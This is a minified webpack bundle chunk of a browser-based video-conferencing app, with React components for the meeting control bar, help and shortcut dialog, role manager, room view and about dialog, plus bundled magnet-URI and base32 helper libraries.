video"}),className:b.fab,disabled:!m.canSendWebcam||m.webcamInProgress,color:"on"===r?"default":"secondary",size:O?"large":"medium",onClick:function(){"on"===r?s.disableWebcam():s.updateWebcam({start:!0})}},void 0,"on"===r?Ou:Mu)),!m.isPresenter&&hu(ir.a,{title:l.formatMessage({id:"tooltip.raisedHand",defaultMessage:"Raise hand"}),placement:"bottom"},void 0,hu(Re.a,{"aria-label":l.formatMessage({id:"tooltip.raisedHand",defaultMessage:"Raise hand"}),className:b.fab,color:m.raisedHand?"default":"secondary",disabled:m.raisedHandInProgress,onClick:function(e){e.stopPropagation(),s.setRaisedHand(!m.raisedHand)}},void 0,Cu)),m.isPresenter&&"mobile"!==m.browser.platform&&hu(ir.a,{title:i},void 0,hu(Re.a,{"aria-label":l.formatMessage({id:"device.startScreenSharing",defaultMessage:"Start screen sharing"}),className:b.fab,disabled:!m.canShareScreen||m.screenShareInProgress,color:"on"===a?"default":"secondary",size:O?"large":"medium",onClick:function(){"off"===a?s.updateScreenSharing({start:!0}):"on"===a&&s.disableScreenSharing()}},void 0,ku)),hu(ir.a,{title:l.formatMessage({id:"tooltip.participants",defaultMessage:"Show participants"})},void 0,hu(Re.a,{"aria-label":l.formatMessage({id:"tooltip.participants",defaultMessage:"Show participants"}),color:"inherit",onClick:function(){return S()}},void 0,Pu)),hu(ir.a,{title:l.formatMessage({id:"tooltip.participants",defaultMessage:"Show participants"})},void 0,hu(Re.a,{"aria-label":l.formatMessage({id:"tooltip.participants",defaultMessage:"Show participants"}),color:"inherit",onClick:function(){return w()}},void 0,hu(je.a,{color:"primary",badgeContent:c+1},void 0,xu))),hu(ir.a,{title:l.formatMessage({id:"label.leave",defaultMessage:"Leave"})},void 0,hu(Re.a,{"aria-label":l.formatMessage({id:"label.leave",defaultMessage:"Leave"}),className:b.fab,color:"secondary",disabled:m.closeMeetingInProgress,size:O?"large":"medium",onClick:function(){return function(){return M.apply(this,arguments)}()}},void 0,Au)))}))));function Tu(e,t,n,r){yu||(yu="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:yu,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function ju(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var _u,Nu=[{key:"h",label:"room.help",defaultMessage:"Help"},{key:"m",label:"device.muteAudio",defaultMessage:"Mute Audio"},{key:"v",label:"device.stopVideo",defaultMessage:"Mute Video"},{key:"1",label:"label.democratic",defaultMessage:"Democratic View"},{key:"2",label:"label.filmstrip",defaultMessage:"Filmstrip View"},{key:"3",label:"label.spotlight",defaultMessage:"Spotlight View"},{key:"space",label:"me.mutedPTT",defaultMessage:"Push SPACE to talk"},{key:"a",label:"label.advanced",defaultMessage:"Show advanced information"}],Iu=Tu(rs.a,{id:"form-dialog-title"},void 0,Tu(w.a,{id:"room.help",defaultMessage:"Help"})),Ru=Tu(w.a,{id:"label.close",defaultMessage:"Close"}),Lu={handleCloseHelp:d.l},Du=Object(Ne.b)(Object(a.connect)((function(e){return{helpOpen:e.room.helpOpen}}),Lu,null,{areStatesEqual:function(e,t){return t.room.helpOpen===e.room.helpOpen}})(Object(s.a)((function(e){var t;return{dialogPaper:(t={width:"30vw"},ju(t,e.breakpoints.down("lg"),{width:"40vw"}),ju(t,e.breakpoints.down("md"),{width:"50vw"}),ju(t,e.breakpoints.down("sm"),{width:"70vw"}),ju(t,e.breakpoints.down("xs"),{width:"90vw"}),ju(t,"display","flex"),ju(t,"flexDirection","column"),t),paper:{padding:e.spacing(1),textAlign:"center",color:e.palette.text.secondary,whiteSpace:"nowrap",marginRight:e.spacing(3),marginBottom:e.spacing(1),minWidth:e.spacing(8)},shortcuts:{display:"flex",flexDirection:"row",alignItems:"center",paddingLeft:e.spacing(2),paddingRight:e.spacing(2)},tabsHeader:{flexGrow:1,marginBottom:e.spacing(1)}}}))((function(e){var t=e.helpOpen,n=e.handleCloseHelp,r=e.classes,o=Object(xe.a)();return Tu(ns.a,{open:t,onClose:function(){n(!1)},classes:{paper:r.dialogPaper}},void 0,Iu,Tu(Ee.a,{value:0,className:r.tabsHeader,indicatorColor:"primary",textColor:"primary",variant:"fullWidth"},void 0,Tu(Te.a,{label:o.formatMessage({id:"room.shortcutKeys",defaultMessage:"Shortcut keys"})})),Nu.map((function(e,t){return Tu("div",{className:r.shortcuts},t,Tu(_e.a,{className:r.paper},void 0,e.key),Tu(w.a,{id:e.label,defaultMessage:e.defaultMessage}))})),Tu(os.a,{},void 0,Tu(Re.a,{onClick:function(){n(!1)},color:"primary"},void 0,Ru)))})))),Fu=n("d8efafa59b0b06097ee1");function Bu(e){return function(e){if(Array.isArray(e))return Vu(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return Vu(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Vu(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Vu(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Uu(e,t,n,r){_u||(_u="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:_u,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function Hu(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var zu,Wu=Uu(as.a,{},void 0,Uu(is.a,{gutterBottom:!0},void 0,Uu(w.a,{id:"moderator.modifyPeerRoles",defaultMessage:"Change roles"}))),$u=Uu(w.a,{id:"label.close",defaultMessage:"Close"}),qu={handleCloseRolesManager:d.s},Yu=Object(Ne.b)(Object(a.connect)((function(){var e=Pe(Ie.a.MODIFY_ROLE);return function(t){return{peer:t.peers[t.room.rolesManagerPeer],userRoles:t.room.userRoles,canModifyRoles:e(t),highestLevel:me(t),rolesManagerOpen:t.room.rolesManagerOpen}}}),qu,null,{areStatesEqual:function(e,t){return t.me===e.me&&t.peers===e.peers&&t.room===e.room}})(Object(s.a)((function(e){var t;return{dialogPaper:(t={width:"30vw"},Hu(t,e.breakpoints.down("lg"),{width:"40vw"}),Hu(t,e.breakpoints.down("md"),{width:"50vw"}),Hu(t,e.breakpoints.down("sm"),{width:"70vw"}),Hu(t,e.breakpoints.down("xs"),{width:"90vw"}),t),setting:{padding:e.spacing(2)},formControl:{display:"flex"},divider:{marginLeft:e.spacing(2)},green:{backgroundColor:"rgba(0, 153, 0, 1)"}}}))((function(e){var t=e.roomClient,n=e.peer,r=e.userRoles,a=e.canModifyRoles,i=e.highestLevel,l=e.rolesManagerOpen,s=e.handleCloseRolesManager,c=e.classes;return Uu(ns.a,{open:l,onClose:function(){return s(!1)},classes:{paper:c.dialogPaper}},void 0,n&&Uu(o.a.Fragment,{},void 0,Uu(rs.a,{id:"form-dialog-title"},void 0,n.displayName),Wu,Uu(ls.a,{},void 0,Bu(r).map((function(e){var r=e[1];return r.promotable&&r.level<=i?Uu(cs.a,{disabled:r.level>i||!a||n.peerModifyRolesInProgress},r.id,Uu(us.a,{primary:r.label}),Uu(Re.a,{"aria-label":"Give role",disabled:Boolean(n.roles.some((function(e){return e===r.id}))),variant:"contained",className:c.green,onClick:function(){t.givePeerRole(n.id,r.id)}},void 0,"Give role"),Uu("div",{className:c.divider}),Uu(Re.a,{"aria-label":"Remove role",disabled:!n.roles.some((function(e){return e===r.id})),variant:"contained",color:"secondary",onClick:function(){t.removePeerRole(n.id,r.id)}},void 0,"Remove role")):null})))),Uu(os.a,{},void 0,Uu(Re.a,{onClick:function(){return s(!1)},color:"primary"},void 0,$u)))}))));function Gu(e){return(Gu="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Ku(e,t,n,r){zu||(zu="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:zu,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function Xu(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Ju(e,t){return(Ju=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Qu(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=td(e);if(t){var o=td(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Zu(this,n)}}function Zu(e,t){return!t||"object"!==Gu(t)&&"function"!=typeof t?ed(e):t}function ed(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function td(e){return(td=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function nd(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var rd,od=window.config.hideTimeout||5e3,ad=Ku(O.a,{buttonText:Ku(w.a,{id:"room.consentUnderstand",defaultMessage:"I understand"})},void 0,Ku(w.a,{id:"room.cookieConsent",defaultMessage:"This website uses cookies to enhance the user experience"})),id=Ku(Ml,{}),ld=Ku(H,{}),sd=Ku(M.a,{}),cd=Ku(Xc.a,{}),ud=Ku(Eu,{}),dd=Ku(xs,{}),fd=Ku(Sc,{}),pd=Ku(au,{}),md=Ku(Du,{}),hd=Ku(Fu.a,{}),vd=Ku(Yu,{}),gd=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Ju(e,t)}(a,e);var t,n,r,o=Qu(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),nd(ed(t=o.call(this,e)),"waitForHide",Object(p.b)((function(){t.props.setToolbarsVisible(!1)}),od)),nd(ed(t),"handleMovement",(function(){t.props.room.toolbarsVisible||t.props.setToolbarsVisible(!0),t.waitForHide()})),nd(ed(t),"handleToggleFullscreen",(function(){t.fullscreen.fullscreenElement?t.fullscreen.exitFullscreen():t.fullscreen.requestFullscreen(document.documentElement)})),nd(ed(t),"handleFullscreenChange",(function(){t.setState({fullscreen:null!==t.fullscreen.fullscreenElement})})),t.fullscreen=new y(document),t.state={fullscreen:!1},t.roomId=e.roomId,t.roomClient=e.roomClient,t}return t=a,(n=[{key:"componentDidMount",value:function(){this.roomClient.join({roomId:this.roomId}),this.fullscreen.fullscreenEnabled&&this.fullscreen.addEventListener("fullscreenchange",this.handleFullscreenChange),window.addEventListener("mousemove",this.handleMovement),window.addEventListener("touchstart",this.handleMovement)}},{key:"componentWillUnmount",value:function(){this.fullscreen.fullscreenEnabled&&this.fullscreen.removeEventListener("fullscreenchange",this.handleFullscreenChange),window.removeEventListener("mousemove",this.handleMovement),window.removeEventListener("touchstart",this.handleMovement)}},{key:"render",value:function(){var e=this.props,t=e.room,n=e.browser,r=e.advancedMode,o=e.showNotifications,a=e.buttonControlBar,i=e.drawerOverlayed,l=e.toolAreaOpen,s=e.toggleToolArea,c=e.classes,d=e.theme,f={filmstrip:tl,democratic:Ii,spotlight:fl}[t.mode],p=void 0!==window?window.document.body:void 0;return Ku("div",{className:c.root},void 0,!u()()&&ad,Ku(Al,{advancedMode:r}),Ku(ts,{advancedMode:r}),id,o&&ld,sd,Ku(Gc,{fullscreenEnabled:this.fullscreen.fullscreenEnabled,fullscreen:this.state.fullscreen,onFullscreen:this.handleToggleFullscreen}),"mobile"===n.platform||i?Ku("nav",{},void 0,Ku(P.a,{implementation:"css"},void 0,Ku(C.a,{container:p,variant:"temporary",anchor:"rtl"===d.direction?"right":"left",open:l,onClose:function(){return s()},onOpen:function(){return s()},classes:{paper:c.drawerPaper},ModalProps:{keepMounted:!0}},void 0,Ku(vo,{closeDrawer:s})))):Ku("nav",{className:l?c.drawer:null},void 0,Ku(P.a,{implementation:"css"},void 0,Ku(k.a,{variant:"persistent",anchor:"rtl"===d.direction?"right":"left",open:l,onClose:function(){return s()},classes:{paper:c.drawerPaper}},void 0,Ku(vo,{closeDrawer:s})))),"mobile"===n.platform&&"ios"!==n.os&&cd,Ku(f,{advancedMode:r}),a&&ud,t.lockDialogOpen&&dd,t.settingsOpen&&fd,t.extraVideoOpen&&pd,t.helpOpen&&md,t.aboutOpen&&hd,t.rolesManagerOpen&&vd)}}])&&Xu(t.prototype,n),r&&Xu(t,r),a}(o.a.PureComponent),bd=Object(Ne.b)(Object(a.connect)((function(e){return{room:e.room,browser:e.me.browser,advancedMode:e.settings.advancedMode,showNotifications:e.settings.showNotifications,buttonControlBar:e.settings.buttonControlBar,drawerOverlayed:e.settings.drawerOverlayed,toolAreaOpen:e.toolarea.toolAreaOpen}}),(function(e){return{setToolbarsVisible:function(t){e(d.G(t))},toggleToolArea:function(){e({type:"TOGGLE_TOOL_AREA"})}}}),null,{areStatesEqual:function(e,t){return t.room===e.room&&t.me.browser===e.me.browser&&t.settings.advancedMode===e.settings.advancedMode&&t.settings.showNotifications===e.settings.showNotifications&&t.settings.buttonControlBar===e.settings.buttonControlBar&&t.settings.drawerOverlayed===e.settings.drawerOverlayed&&t.toolarea.toolAreaOpen===e.toolarea.toolAreaOpen}})(Object(s.a)((function(e){var t,n;return{root:{display:"block",width:"100%",height:"100%",backgroundColor:"var(--background-color)",backgroundImage:"url(".concat(window.config?window.config.background:null,")"),backgroundAttachment:"fixed",backgroundPosition:"center",backgroundSize:"cover",backgroundRepeat:"no-repeat"},drawer:(t={width:"30vw",flexShrink:0},nd(t,e.breakpoints.down("lg"),{width:"40vw"}),nd(t,e.breakpoints.down("md"),{width:"50vw"}),nd(t,e.breakpoints.down("sm"),{width:"70vw"}),nd(t,e.breakpoints.down("xs"),{width:"90vw"}),t),drawerPaper:(n={width:"30vw"},nd(n,e.breakpoints.down("lg"),{width:"40vw"}),nd(n,e.breakpoints.down("md"),{width:"50vw"}),nd(n,e.breakpoints.down("sm"),{width:"70vw"}),nd(n,e.breakpoints.down("xs"),{width:"90vw"}),n)}}),{withTheme:!0})(gd)));function yd(e,t,n,r){rd||(rd="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:rd,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}t.default=Object(a.connect)((function(e){return{room:e.room}}))((function(e){var t=e.match.params.room;return yd(bd,{roomId:t})}))},"26d74b09a0642d06f9fd":function(e,t,n){(function(t){/*! magnet-uri. MIT License. WebTorrent LLC <https://webtorrent.io/opensource> */ e.exports=a,e.exports.decode=a,e.exports.encode=function(e){(e=Object.assign({},e)).infoHashBuffer&&(e.xt="urn:btih:"+e.infoHashBuffer.toString("hex"));e.infoHash&&(e.xt="urn:btih:"+e.infoHash);e.name&&(e.dn=e.name);e.keywords&&(e.kt=e.keywords);e.announce&&(e.tr=e.announce);e.urlList&&(e.ws=e.urlList,delete e.as);e.peerAddresses&&(e["x.pe"]=e.peerAddresses);e.x&&e.x.pe&&(e["x.pe"]=e.x.pe);let t="magnet:?";return Object.keys(e).filter(e=>2===e.length||"x.pe"===e).forEach((n,r)=>{const a=Array.isArray(e[n])?e[n]:[e[n]];a.forEach((e,o)=>{(r>0||o>0)&&("kt"!==n&&"so"!==n||0===o)&&(t+="&"),"dn"===n&&(e=encodeURIComponent(e).replace(/%20/g,"+")),"tr"!==n&&"xs"!==n&&"as"!==n&&"ws"!==n||(e=encodeURIComponent(e)),"kt"===n&&(e=encodeURIComponent(e)),"so"!==n&&(t+="kt"===n&&o>0?"+"+e:`${n}=${e}`)}),"so"===n&&(t+=`${n}=${o.compose(a)}`)}),t};const r=n("2feb9d334de510ff677c"),o=n("444d3024f63c2f591481");function a(e){const n={},a=e.split("magnet:?")[1];let i;if((a&&a.length>=0?a.split("&"):[]).forEach(e=>{const t=e.split("=");if(2!==t.length)return;const r=t[0];let a=t[1];"dn"===r&&(a=decodeURIComponent(a).replace(/\+/g," ")),"tr"!==r&&"xs"!==r&&"as"!==r&&"ws"!==r||(a=decodeURIComponent(a)),"kt"===r&&(a=decodeURIComponent(a).split("+")),"ix"===r&&(a=Number(a)),"so"===r&&(a=o.parse(decodeURIComponent(a).split(","))),n[r]?(Array.isArray(n[r])||(n[r]=[n[r]]),n[r].push(a)):n[r]=a}),n["x.pe"]&&(n["x.pe"]=Array.isArray(n["x.pe"])?Array.from(new Set(n["x.pe"])):[n["x.pe"]]),n.xt){(Array.isArray(n.xt)?n.xt:[n.xt]).forEach(e=>{if(i=e.match(/^urn:btih:(.{40})/))n.infoHash=i[1].toLowerCase();else if(i=e.match(/^urn:btih:(.{32})/)){const e=r.decode(i[1]);n.infoHash=t.from(e,"binary").toString("hex")}})}return n.infoHash&&(n.infoHashBuffer=t.from(n.infoHash,"hex")),n.dn&&(n.name=n.dn),n.kt&&(n.keywords=n.kt),n["x.pe"]&&(n.peerAddresses=n["x.pe"]),"string"==typeof n.tr?n.announce=[n.tr]:Array.isArray(n.tr)?n.announce=n.tr:n.announce=[],n.urlList=[],("string"==typeof n.as||Array.isArray(n.as))&&(n.urlList=n.urlList.concat(n.as)),("string"==typeof n.ws||Array.isArray(n.ws))&&(n.urlList=n.urlList.concat(n.ws)),n.announce=Array.from(new Set(n.announce)),n.urlList=Array.from(new Set(n.urlList)),n["x.pe"]&&(n.x={pe:n["x.pe"]},delete n["x.pe"]),n}}).call(this,n("3be624f7e9dc58942c52").Buffer)},"2feb9d334de510ff677c":function(e,t,n){var r=n("cf3e6207c811b818cd50");t.encode=r.encode,t.decode=r.decode},"3dc60cfb067be2f7d76b":function(e,t,n){"use strict";var r=n("8af190b70a6bc55c6f1b"),o=n("11c375811d2cabbba50b");if(void 0===r)throw Error("create-react-class could not find the React object. If you are using script tags, make sure that React is being loaded before create-react-class.");var a=(new r.Component).updater;e.exports=o(r.Component,r.isValidElement,a)},"444d3024f63c2f591481":function(e,t){function n(e){return e.reduce((e,t,n,r)=>{const o=t.split("-").map(e=>parseInt(e));return e.concat(((e,t=e)=>Array.from({length:t-e+1},(t,n)=>n+e))(...o))},[])}e.exports=n,e.exports.parse=n,e.exports.compose=function(e){return e.reduce((e,t,n,r)=>(0!==n&&t===r[n-1]+1||e.push([]),e[e.length-1].push(t),e),[]).map(e=>e.length>1?`${e[0]}-${e[e.length-1]}`:""+e[0])}},cf3e6207c811b818cd50:function(e,t,n){"use strict";(function(e){var n=[255,255,26,27,28,29,30,31,255,255,255,255,255,255,255,255,255,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,255,255,255,255,255,255,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,255,255,255,255,255];t.encode=function(t){e.isBuffer(t)||(t=new e(t));for(var n,r,o=0,a=0,i=0,l=0,s=new e(8*(n=t,r=Math.floor(n.length/5),n.length%5==0?r:r+1));o<t.length;){var c=t[o];i>3?(l=(l=c&255>>i)<<(i=(i+5)%8)|(o+1<t.length?t[o+1]:0)>>8-i,o++):(l=c>>8-(i+5)&31,0===(i=(i+5)%8)&&o++),s[a]="ABCDEFGHIJKLMNOPQRSTUVWXYZ234567".charCodeAt(l),a++}for(o=a;o<s.length;o++)s[o]=61;return s},t.decode=function(t){var r,o=0,a=0,i=0;e.isBuffer(t)||(t=new e(t));for(var l=new e(Math.ceil(5*t.length/8)),s=0;s<t.length&&61!==t[s];s++){var c=t[s]-48;if(!(c<n.length))throw new Error("Invalid input - it is not base32 encoded string");a=n[c],o<=3?0===(o=(o+5)%8)?(r|=a,l[i]=r,i++,r=0):r|=255&a<<8-o:(r|=255&a>>>(o=(o+5)%8),l[i]=r,i++,r=255&a<<8-o)}return l.slice(0,i)}}).call(this,n("3be624f7e9dc58942c52").Buffer)},d8efafa59b0b06097ee1:function(e,t,n){"use strict";(function(e){n("8af190b70a6bc55c6f1b");var r,o=n("0a81c721557e72a0975d"),a=n("398fee01cee86d8d3bfd"),i=n("6c4a90375630c806c9b8"),l=n("bd5ed46bd8af722fa6e9"),s=(n("8a2d1b95e05b6a321e74"),n("d0bf3d418af59ec9fd31")),c=n("937d726c1c2880f2c2ec"),u=n("5033cead807f05d3635d"),d=n("c20cb9ad2a6d30ec5986"),f=n("6e86753cc35d11eb3233"),p=n("6ff4e1147c3741f130e5"),m=n("437da7d11cc58bd54d04"),h=n("a11eacdcf2a3861858dc"),v=n("71d2f9a0d515b86993c4");function g(e,t,n,o){r||(r="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var a=e&&e.defaultProps,i=arguments.length-3;if(t||0===i||(t={children:void 0}),1===i)t.children=o;else if(i>1){for(var l=new Array(i),s=0;s<i;s++)l[s]=arguments[s+3];t.children=l}if(t&&a)for(var c in a)void 0===t[c]&&(t[c]=a[c]);else t||(t=a||{});return{$$typeof:r,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function b(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var y=window.location.origin,w=g(u.a,{id:"form-dialog-title"},void 0,g(s.a,{id:"room.about",defaultMessage:"About"})),S=g(p.a,{paragraph:!0},void 0,"Contributions to this work were made on behalf of the GÉANT project, a project that has received funding from the European Union’s Horizon 2020 research and innovation programme under Grant Agreement No. 731122 (GN4-2). On behalf of GÉANT project, GÉANT Association is the sole owner of the copyright in all material which was developed by a member of the GÉANT project."),O=g(p.a,{align:"center",paragraph:!0},void 0,g(m.a,{href:y,target:"_blank",rel:"noreferrer",color:"secondary",variant:"h6"},void 0,y)),M=g(s.a,{id:"label.version",defaultMessage:"Version"}),C=g("span",{},void 0,"Visit for more info: "),k=g(s.a,{id:"label.close",defaultMessage:"Close"}),P={handleCloseAbout:l.d};t.a=Object(i.b)(Object(o.connect)((function(e){return{aboutOpen:e.room.aboutOpen}}),P,null,{areStatesEqual:function(e,t){return t.room.aboutOpen===e.room.aboutOpen}})(Object(a.a)((function(e){var t;return{dialogPaper:(t={width:"30vw"},b(t,e.breakpoints.down("lg"),{width:"40vw"}),b(t,e.breakpoints.down("md"),{width:"50vw"}),b(t,e.breakpoints.down("sm"),{width:"70vw"}),b(t,e.breakpoints.down("xs"),{width:"90vw"}),t),logo:{marginRight:"auto"},link:{display:"block",textAlign:"center",marginBottom:e.spacing(1)},divider:{marginBottom:e.spacing(3)}}}))((function(t){var n=t.aboutOpen,r=t.handleCloseAbout,o=t.classes;return g(c.a,{open:n,onClose:function(){return r(!1)},classes:{paper:o.dialogPaper}},void 0,w,g(f.a,{dividers:!0},void 0,S,O,g(p.a,{align:"center",variant:"body2"},void 0,M,":"," ".concat(e.env.REACT_APP_VERSION)),g(v.a,{variant:"middle",light:!0,className:o.divider}),window.config.supportUrl&&g(p.a,{align:"center",paragraph:!0},void 0,C,g(m.a,{href:window.config.supportUrl,target:"_blank",rel:"noreferrer",color:"secondary"},void 0,window.config.supportUrl)),g(m.a,{href:window.config.privacyUrl?window.config.privacyUrl:"privacy/privacy.html",target:"_blank",rel:"noreferrer",color:"secondary",className:o.link},void 0,"Data protection and Privacy Policy")),g(d.a,{},void 0,window.config.logo&&g("img",{alt:"Logo",className:o.logo,src:window.config.logo}),g(h.a,{onClick:function(){r(!1)},color:"primary"},void 0,k)))}))))}).call(this,n("26d59f808dff3e83c741"))}}]);
Close